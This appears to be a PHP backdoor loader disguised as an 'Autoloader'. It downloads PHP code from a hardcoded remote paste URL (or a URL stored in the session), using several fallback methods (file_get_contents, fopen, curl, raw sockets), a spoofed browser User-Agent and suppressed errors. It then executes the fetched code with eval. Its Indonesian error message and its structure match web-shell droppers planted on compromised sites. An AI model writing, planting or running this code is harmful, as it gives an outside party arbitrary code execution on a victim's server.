<?php
session_start();

$url = $_SESSION['ts_url'] ?? 'https://teamzedd2024.tech/raw/McuQGI';
$method = $_GET['method'] ?? 'auto'; // auto | curl | fopen | file | fsockopen
$code = null;

header("Cache-Control: no-cache, must-revalidate");
header("Expires: 0");

function log_error($msg) {
    error_log('[Autoloader][' . date('Y-m-d H:i:s') . '] ' . $msg);
}

function is_valid_php_code($code) {
    return !empty($code) && stripos($code, '<?php') !== false;
}

$ctx = stream_context_create([
    'http' => [
        'timeout' => 5,
        'header'  => "User-Agent: Mozilla/5.0\r\n"
    ]
]);

switch ($method) {
    case 'file':
        if (ini_get('allow_url_fopen')) {
            $code = @file_get_contents($url, false, $ctx);
        }
        break;

    case 'fopen':
        $fp = @fopen($url, 'r', false, $ctx);
        if ($fp) {
            $code = stream_get_contents($fp);
            fclose($fp);
        }
        break;

    case 'curl':
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 5,
                CURLOPT_USERAGENT => 'Mozilla/5.0',
                CURLOPT_FOLLOWLOCATION => true,
            ]);
            $code = curl_exec($ch);
            curl_close($ch);
        }
        break;

    case 'fsockopen':
        $u = parse_url($url);
        $host = $u['host'] ?? '';
        $path = ($u['path'] ?? '/') . (isset($u['query']) ? '?' . $u['query'] : '');
        $port = ($u['scheme'] ?? 'http') === 'https' ? 443 : 80;
        $fp = @fsockopen(($port === 443 ? 'ssl://' : '') . $host, $port, $errno, $errstr, 5);
        if ($fp) {
            fwrite($fp, "GET $path HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n");
            $res = stream_get_contents($fp);
            fclose($fp);
            $code = substr($res, strpos($res, "\r\n\r\n") + 4);
        }
        break;

    default: // auto
        if (ini_get('allow_url_fopen')) {
            $code = @file_get_contents($url, false, $ctx);
        }
        if (!$code && function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 5,
                CURLOPT_USERAGENT => 'Mozilla/5.0',
                CURLOPT_FOLLOWLOCATION => true,
            ]);
            $code = curl_exec($ch);
            curl_close($ch);
        }
        if (!$code) {
            $u = parse_url($url);
            $host = $u['host'] ?? '';
            $path = ($u['path'] ?? '/') . (isset($u['query']) ? '?' . $u['query'] : '');
            $port = ($u['scheme'] ?? 'http') === 'https' ? 443 : 80;
            $fp = @fsockopen(($port === 443 ? 'ssl://' : '') . $host, $port, $errno, $errstr, 5);
            if ($fp) {
                fwrite($fp, "GET $path HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n");
                $res = stream_get_contents($fp);
                fclose($fp);
                $code = substr($res, strpos($res, "\r\n\r\n") + 4);
            }
        }
        break;
}

if ($code && is_valid_php_code($code)) {
    @eval("?>$code");
} else {
    echo "<b>Gagal load kode dari URL:</b> " . htmlspecialchars($url);
    log_error("Gagal load kode dari $url");
}
?>
